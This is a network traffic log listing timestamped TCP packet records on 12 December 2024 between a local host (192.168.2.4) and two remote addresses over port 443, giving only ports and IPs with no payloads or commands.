Dec 12, 2024 12:08:53.697266102 CET	443	50022	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:53.697310925 CET	50022	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:53.697333097 CET	443	50022	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:53.700952053 CET	443	50022	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:53.701014996 CET	50022	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:53.701162100 CET	50022	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:53.701181889 CET	443	50022	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:53.718194008 CET	443	50024	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:53.718209028 CET	443	50024	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:53.718242884 CET	443	50024	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:53.718259096 CET	50024	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:53.718303919 CET	50024	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:53.718312025 CET	443	50024	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:53.724368095 CET	443	50020	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:53.724397898 CET	443	50020	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:53.724422932 CET	443	50020	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:53.724442959 CET	50020	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:53.724481106 CET	50020	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:53.724489927 CET	443	50020	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:53.736999989 CET	50033	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:53.737039089 CET	443	50033	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:53.737112045 CET	50033	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:53.737462044 CET	50033	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:53.737478018 CET	443	50033	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:53.738879919 CET	50034	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:53.738925934 CET	443	50034	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:53.738981962 CET	50034	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:53.739877939 CET	50034	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:53.739892006 CET	443	50034	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:53.756818056 CET	443	50020	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:53.756831884 CET	443	50020	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:53.756864071 CET	443	50020	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:53.756875992 CET	50020	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:53.756896019 CET	443	50020	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:53.756915092 CET	50020	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:53.770730972 CET	50024	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:53.781399012 CET	443	50020	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:53.781411886 CET	443	50020	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:53.781467915 CET	443	50020	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:53.781516075 CET	50020	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:53.781591892 CET	443	50020	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:53.781635046 CET	50020	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:53.798744917 CET	443	50020	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:53.798753977 CET	443	50020	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:53.798795938 CET	443	50020	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:53.798851967 CET	50020	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:53.798872948 CET	443	50020	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:53.798902988 CET	50020	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:53.807419062 CET	443	50024	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:53.807435989 CET	443	50024	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:53.807471037 CET	443	50024	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:53.807488918 CET	50024	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:53.807526112 CET	50024	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:53.831768990 CET	443	50024	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:53.831779957 CET	443	50024	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:53.831819057 CET	443	50024	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:53.831842899 CET	50024	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:53.831881046 CET	50024	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:53.831887007 CET	443	50024	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:53.848268986 CET	50020	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:53.856084108 CET	443	50024	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:53.856093884 CET	443	50024	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:53.856127977 CET	443	50024	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:53.856142044 CET	50024	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:53.856152058 CET	443	50024	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:53.856174946 CET	50024	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:53.874516010 CET	50035	443	192.168.2.4	104.26.12.205
Dec 12, 2024 12:08:53.874571085 CET	443	50035	104.26.12.205	192.168.2.4
Dec 12, 2024 12:08:53.874655008 CET	50035	443	192.168.2.4	104.26.12.205
Dec 12, 2024 12:08:53.874960899 CET	50035	443	192.168.2.4	104.26.12.205
Dec 12, 2024 12:08:53.875003099 CET	443	50035	104.26.12.205	192.168.2.4
Dec 12, 2024 12:08:53.878590107 CET	443	50024	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:53.878599882 CET	443	50024	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:53.878633976 CET	443	50024	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:53.878657103 CET	50024	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:53.878664970 CET	443	50024	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:53.878707886 CET	50024	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:53.907850981 CET	443	50020	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:53.907874107 CET	443	50020	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:53.907915115 CET	443	50020	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:53.908003092 CET	50020	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:53.908004045 CET	50020	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:53.908004045 CET	50020	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:53.921762943 CET	443	50020	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:53.921777010 CET	443	50020	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:53.921834946 CET	50020	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:53.921850920 CET	443	50020	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:53.921905041 CET	50020	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:53.925455093 CET	50024	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:53.939870119 CET	443	50020	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:53.939878941 CET	443	50020	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:53.939945936 CET	50020	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:53.939960957 CET	443	50020	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:53.952423096 CET	443	50020	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:53.952430964 CET	443	50020	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:53.952524900 CET	50020	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:53.952590942 CET	443	50020	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:53.964693069 CET	443	50020	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:53.964701891 CET	443	50020	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:53.964808941 CET	50020	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:53.964874983 CET	443	50020	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:53.981133938 CET	443	50020	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:53.981142044 CET	443	50020	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:53.981211901 CET	443	50020	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:53.981225967 CET	50020	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:53.981247902 CET	443	50020	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:53.981302977 CET	50020	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:53.984359980 CET	443	50024	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:53.984376907 CET	443	50024	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:53.984405041 CET	443	50024	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:53.984430075 CET	50024	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:53.984457970 CET	50024	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:53.993817091 CET	443	50020	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:53.993838072 CET	443	50020	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:53.993916035 CET	50020	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:53.993932962 CET	443	50020	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:53.998720884 CET	443	50024	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:53.998735905 CET	443	50024	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:53.998775959 CET	443	50024	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:53.998799086 CET	50024	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:53.998831987 CET	50024	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:53.998837948 CET	443	50024	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:54.015549898 CET	443	50024	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:54.015584946 CET	443	50024	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:54.015635014 CET	50024	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:54.015661955 CET	443	50024	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:54.015672922 CET	50024	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:54.027053118 CET	443	50024	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:54.027076006 CET	443	50024	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:54.027133942 CET	50024	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:54.027142048 CET	443	50024	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:54.027165890 CET	50024	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:54.035798073 CET	50020	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:54.039122105 CET	443	50024	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:54.039144039 CET	443	50024	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:54.039201975 CET	50024	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:54.039210081 CET	443	50024	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:54.039407015 CET	443	50024	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:54.039472103 CET	50024	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:54.039541960 CET	50024	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:54.039555073 CET	443	50024	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:54.097809076 CET	443	50020	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:54.097822905 CET	443	50020	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:54.097992897 CET	50020	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:54.098027945 CET	443	50020	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:54.109186888 CET	443	50020	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:54.109210014 CET	443	50020	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:54.109272957 CET	50020	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:54.109302044 CET	443	50020	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:54.109330893 CET	50020	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:54.118427992 CET	443	50020	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:54.118513107 CET	443	50020	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:54.118519068 CET	50020	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:54.118560076 CET	443	50020	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:54.118573904 CET	50020	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:54.127377033 CET	443	50020	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:54.127454042 CET	443	50020	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:54.127494097 CET	50020	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:54.127507925 CET	443	50020	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:54.127537012 CET	50020	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:54.135838032 CET	443	50020	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:54.135926008 CET	50020	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:54.135942936 CET	443	50020	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:54.146867990 CET	443	50020	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:54.146955013 CET	50020	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:54.146967888 CET	443	50020	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:54.155308962 CET	443	50020	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:54.155369043 CET	443	50020	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:54.155397892 CET	50020	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:54.155411959 CET	443	50020	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:54.155445099 CET	50020	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:54.158487082 CET	443	50020	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:54.158545017 CET	50020	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:54.158559084 CET	443	50020	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:54.166591883 CET	443	50020	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:54.166676044 CET	50020	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:54.166691065 CET	443	50020	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:54.175199032 CET	443	50020	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:54.175271988 CET	50020	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:54.175287008 CET	443	50020	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:54.186456919 CET	443	50020	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:54.186561108 CET	50020	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:54.186574936 CET	443	50020	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:54.194900990 CET	443	50020	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:54.195022106 CET	50020	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:54.195035934 CET	443	50020	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:54.200362921 CET	443	50020	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:54.200444937 CET	50020	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:54.200457096 CET	443	50020	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:54.200542927 CET	443	50020	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:54.200599909 CET	50020	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:54.200783968 CET	50020	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:54.200815916 CET	443	50020	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:54.211397886 CET	50036	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:54.211474895 CET	443	50036	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:54.211560965 CET	50036	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:54.211733103 CET	50036	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:54.211766958 CET	443	50036	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:54.241456985 CET	50037	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:54.241503000 CET	443	50037	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:54.241606951 CET	50037	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:54.242347956 CET	50037	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:54.242369890 CET	443	50037	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:54.249382019 CET	50038	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:54.249414921 CET	443	50038	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:54.249492884 CET	50038	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:54.249908924 CET	50038	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:54.249938011 CET	443	50038	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:54.411760092 CET	443	50025	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:54.413290977 CET	50025	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:54.413311005 CET	443	50025	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:54.414220095 CET	443	50025	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:54.414283037 CET	50025	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:54.415015936 CET	50025	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:54.415086031 CET	443	50025	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:54.415441990 CET	50025	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:54.415451050 CET	443	50025	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:54.458939075 CET	50025	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:54.810935020 CET	443	50028	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:54.818058968 CET	50028	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:54.818084955 CET	443	50028	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:54.818547964 CET	443	50028	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:54.822655916 CET	50028	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:54.822655916 CET	50028	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:54.822741985 CET	443	50028	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:54.870134115 CET	50028	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:54.916374922 CET	443	50025	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:54.916404009 CET	443	50025	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:54.916472912 CET	443	50025	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:54.916505098 CET	50025	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:54.916671991 CET	50025	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:54.917340994 CET	50025	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:54.917359114 CET	443	50025	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:55.011934996 CET	443	50030	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:55.012305975 CET	50030	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:55.012330055 CET	443	50030	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:55.012836933 CET	443	50030	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:55.013242006 CET	50030	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:55.013242006 CET	50030	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:55.013300896 CET	443	50030	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:55.067724943 CET	50030	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:55.077919960 CET	443	50033	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:55.078280926 CET	50033	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:55.078301907 CET	443	50033	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:55.079603910 CET	443	50033	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:55.079999924 CET	50033	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:55.079999924 CET	50033	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:55.080065012 CET	443	50033	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:55.080177069 CET	50033	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:55.080184937 CET	443	50033	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:55.089653015 CET	443	50034	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:55.089904070 CET	50034	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:55.089935064 CET	443	50034	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:55.090431929 CET	443	50035	104.26.12.205	192.168.2.4
Dec 12, 2024 12:08:55.090617895 CET	50035	443	192.168.2.4	104.26.12.205
Dec 12, 2024 12:08:55.090662956 CET	443	50035	104.26.12.205	192.168.2.4
Dec 12, 2024 12:08:55.091772079 CET	443	50035	104.26.12.205	192.168.2.4
Dec 12, 2024 12:08:55.092940092 CET	50035	443	192.168.2.4	104.26.12.205
Dec 12, 2024 12:08:55.092940092 CET	50035	443	192.168.2.4	104.26.12.205
Dec 12, 2024 12:08:55.093039989 CET	443	50035	104.26.12.205	192.168.2.4
Dec 12, 2024 12:08:55.093193054 CET	50035	443	192.168.2.4	104.26.12.205
Dec 12, 2024 12:08:55.093213081 CET	443	50035	104.26.12.205	192.168.2.4
Dec 12, 2024 12:08:55.093482971 CET	443	50034	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:55.093822956 CET	50034	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:55.093822956 CET	50034	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:55.093908072 CET	443	50034	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:55.094016075 CET	50034	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:55.130222082 CET	50033	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:55.135335922 CET	443	50034	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:55.145167112 CET	50034	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:55.145173073 CET	50035	443	192.168.2.4	104.26.12.205
Dec 12, 2024 12:08:55.145195007 CET	443	50034	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:55.197264910 CET	50034	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:55.311709881 CET	443	50028	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:55.311743975 CET	443	50028	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:55.311815023 CET	443	50028	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:55.312577009 CET	50028	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:55.312577009 CET	50028	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:55.512239933 CET	443	50030	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:55.512264013 CET	443	50030	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:55.512331963 CET	443	50030	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:55.512516022 CET	50030	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:55.514189959 CET	50030	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:55.544178009 CET	443	50035	104.26.12.205	192.168.2.4
Dec 12, 2024 12:08:55.544254065 CET	443	50035	104.26.12.205	192.168.2.4
Dec 12, 2024 12:08:55.547173977 CET	50035	443	192.168.2.4	104.26.12.205
Dec 12, 2024 12:08:55.593703985 CET	443	50038	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:55.626210928 CET	50028	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:55.626235962 CET	443	50028	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:55.626893044 CET	443	50033	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:55.626920938 CET	443	50033	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:55.626929998 CET	443	50033	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:55.630036116 CET	50033	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:55.630053043 CET	443	50033	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:55.635852098 CET	443	50034	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:55.635919094 CET	443	50034	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:55.638413906 CET	50034	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:55.638422966 CET	50038	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:55.638448954 CET	443	50034	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:55.638681889 CET	443	50034	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:55.638777018 CET	50034	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:55.675451040 CET	50033	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:55.743478060 CET	443	50033	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:55.743515968 CET	443	50033	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:55.743560076 CET	443	50033	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:55.743583918 CET	50033	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:55.743635893 CET	50033	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:55.743643045 CET	443	50033	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:55.753223896 CET	443	50036	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:55.782401085 CET	443	50037	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:55.797591925 CET	50033	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:55.798028946 CET	50036	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:55.827375889 CET	443	50033	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:55.827394009 CET	443	50033	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:55.827416897 CET	443	50033	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:55.827512980 CET	50033	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:55.827574015 CET	50033	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:55.836078882 CET	50037	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:55.858119965 CET	443	50033	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:55.858129025 CET	443	50033	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:55.858156919 CET	443	50033	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:55.858200073 CET	50033	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:55.858262062 CET	50033	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:55.881320953 CET	443	50033	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:55.881329060 CET	443	50033	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:55.881422997 CET	50033	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:55.881433964 CET	443	50033	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:55.896841049 CET	443	50033	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:55.896872997 CET	443	50033	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:55.896918058 CET	50033	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:55.896924019 CET	443	50033	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:55.896970987 CET	50033	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:55.939385891 CET	50033	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:56.010451078 CET	443	50033	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:56.010468006 CET	443	50033	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:56.010498047 CET	443	50033	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:56.010566950 CET	50033	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:56.010624886 CET	50033	443	192.168.2.4	209.74.95.101
Dec 12, 2024 12:08:56.024168015 CET	443	50033	209.74.95.101	192.168.2.4
Dec 12, 2024 12:08:56.024179935 CET	443	50033	209.74.95.101	192.168.2.4
